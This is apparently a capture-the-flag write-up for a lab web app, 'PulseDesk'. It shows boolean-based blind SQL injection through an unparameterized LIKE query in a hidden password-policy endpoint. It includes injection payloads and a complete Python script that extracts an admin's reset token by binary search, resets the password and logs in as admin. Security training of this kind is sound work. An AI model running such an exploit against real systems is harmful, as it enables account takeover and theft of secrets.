PulseDesk — Blind SQL Injection in Password Reset Token Extraction
PulseDesk — Blind SQL Injection in Password Reset Token Extraction
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: binary_search_extraction, boolean_based_blind_sqli, like_injection, password_reset_token_theft, unicode_substr_extraction
Summary
Walkthrough of the CUSTOM Web PulseDesk — Blind SQL Injection in Password Reset Token Extraction. Task: PulseDesk support platform with password reset feature; hidden /api/v1/auth/password-policy endpoint uses token in unsanitized SQL LIKE query creating a boolean oracle. Solution: exploit blind S
Description
PulseDesk is a modern customer support platform by PulseWave Technologies, used by hundreds of companies to manage support tickets, collaborate across teams, and maintain knowledge bases. The platform recently introduced a self-service password reset feature for all users.
As a security researcher, you've been tasked with testing PulseDesk's authentication system. The application has a public-facing marketing page, a ticket management dashboard, a searchable knowledge base, and an admin panel with system configuration.
Your objective is to find a vulnerability that allows you to gain administrator access and retrieve the secret API master key stored in the admin settings page.
Credentials: user@test.com / password123
The application is a Node.js/Express app (PulseDesk v2.4.1) using SQLite. The goal is to gain admin access and retrieve the API master key from /admin/settings.
Analysis
Reconnaissance
Key endpoints discovered during enumeration:
| Endpoint | Method | Purpose |
|---|---|---|
/api/v1/auth/forgot-password | POST | Generates a password reset token for a given email |
/api/v1/auth/reset-password | POST | Resets password if a valid token is provided |
/reset-password/<token> | GET | Server-rendered page — shows reset form (valid) or "Invalid Reset Link" (invalid) |
/api/v1/auth/password-policy | POST | HIDDEN — accepts {"token":"..."}, responds differently based on token match |
/admin/settings | GET | Returns 403 for non-admin users; contains the flag (API master key) |
| |
Admin email admin@pulsedesk.io (user_id=1) was found on the marketing page.
Vulnerability: LIKE Injection in password-policy Endpoint
The /api/v1/auth/password-policy endpoint uses the token parameter in a SQL LIKE query without parameterization:
sql read-only • copy allowedSELECT * FROM password_resets WHERE token LIKE '%<user_input>%'
This creates a boolean oracle with two distinct responses:
- TRUE (token matches a row):
{"valid":true,"policy":{"min_length":12,...}} - FALSE (no match):
{"error":"Invalid or expired reset token"}
Proof of injection — sending {"token":"%"} (SQL wildcard) returns valid:true, confirming the LIKE injection. Full SQL injection is possible by breaking out of the LIKE string:
{"token":"' OR 1=1 -- "}→ TRUE (valid){"token":"' OR 1=2 -- "}→ FALSE (error)
Database Enumeration via Boolean Oracle
Using the boolean oracle to enumerate the database:
- DBMS: SQLite (confirmed via
sqlite_masterqueries) - Table:
password_resetswith columns:id,user_id,token,created,expires - Table:
userswith admin atuser_id=1,email=admin@pulsedesk.io - Token format: 36-character UUID (e.g.,
xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx)
Solution
Step 1: Generate a Fresh Admin Reset Token
bash read-only • copy allowedcurl -X POST https://<instance>.labs.hackadvisor.io/api/v1/auth/forgot-password \ -H "Content-Type: application/json" \ -d '{"email":"admin@pulsedesk.io"}' # → {"success":true,"message":"If the email exists, a reset link has been sent."}
Step 2: Extract Token via Binary Search Blind SQLi
Extract the admin's reset token character by character using UNICODE(SUBSTR(...)) with binary search to minimize requests:
python read-only • copy allowed#!/usr/bin/env python3 """ Blind SQLi exploit for PulseDesk password-policy endpoint. Extracts admin password reset token via boolean-based binary search. """ import requests BASE = "https://f0278d08-a15c-4711-b814-f1b53e93b9c6.labs.hackadvisor.io" POLICY_URL = f"{BASE}/api/v1/auth/password-policy" def check_condition(condition): """Boolean oracle: returns True if SQL condition evaluates to TRUE.""" payload = f"' OR {condition} -- " r = requests.post(POLICY_URL, json={"token": payload}) return '"valid":true' in r.text # Subquery to get the latest admin reset token SUBQUERY = "(SELECT token FROM password_resets WHERE user_id=1 ORDER BY id DESC LIMIT 1)" def extract_char_binary(pos): """Extract a single character at position `pos` using binary search on UNICODE value.""" low, high = 44, 103 # covers '-' (45) through 'f' (102) — all UUID characters while low < high: mid = (low + high) // 2 condition = f"UNICODE(SUBSTR({SUBQUERY},{pos},1))>{mid}" if check_condition(condition): low = mid + 1 else: high = mid return chr(low) # Step 1: Generate fresh reset token for admin print("[*] Requesting password reset for admin@pulsedesk.io...") requests.post(f"{BASE}/api/v1/auth/forgot-password", json={"email": "admin@pulsedesk.io"}) # Step 2: Extract 36-character UUID token print("[*] Extracting token via blind SQLi (binary search)...") token = "" for pos in range(1, 37): token += extract_char_binary(pos) print(f" [{pos:2d}/36] {token}") print(f"\n[+] Extracted token: {token}") # Step 3: Reset admin password new_password = "H4ck3d!Admin@2024" r = requests.post(f"{BASE}/api/v1/auth/reset-password", json={"token": token, "password": new_password}) print(f"[*] Password reset: {r.json()}") # Step 4: Login as admin and get flag session = requests.Session() r = session.post(f"{BASE}/login", data={"email": "admin@pulsedesk.io", "password": new_password}, allow_redirects=True) print(f"[*] Login status: {r.status_code}") r = session.get(f"{BASE}/admin/settings") print(f"[*] Admin settings status: {r.status_code}") if "FLAG{" in r.text: import re flag = re.search(r'FLAG\{[^}]+\}', r.text).group() print(f"[+] FLAG: {flag}")
Step 3: Reset Admin Password
POST /api/v1/auth/reset-password
{"token":"<extracted-uuid>","password":"H4ck3d!Admin@2024"}
→ {"success":true,"message":"Password has been reset successfully."}
Step 4: Login as Admin and Retrieve Flag
POST /login
email=admin@pulsedesk.io&password=H4ck3d!Admin@2024
→ 302 Redirect to /dashboard
GET /admin/settings
→ 200 OK — contains secret_api_master_key
Key Takeaways / Lessons
- Mastering binary_search_extraction, boolean_based_blind_sqli, like_injection, password_reset_token_theft, unicode_substr_extraction was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-05-03 • CUSTOM • PulseDesk — Blind SQL Injection in Password Reset Token Extraction • Difficulty: Medium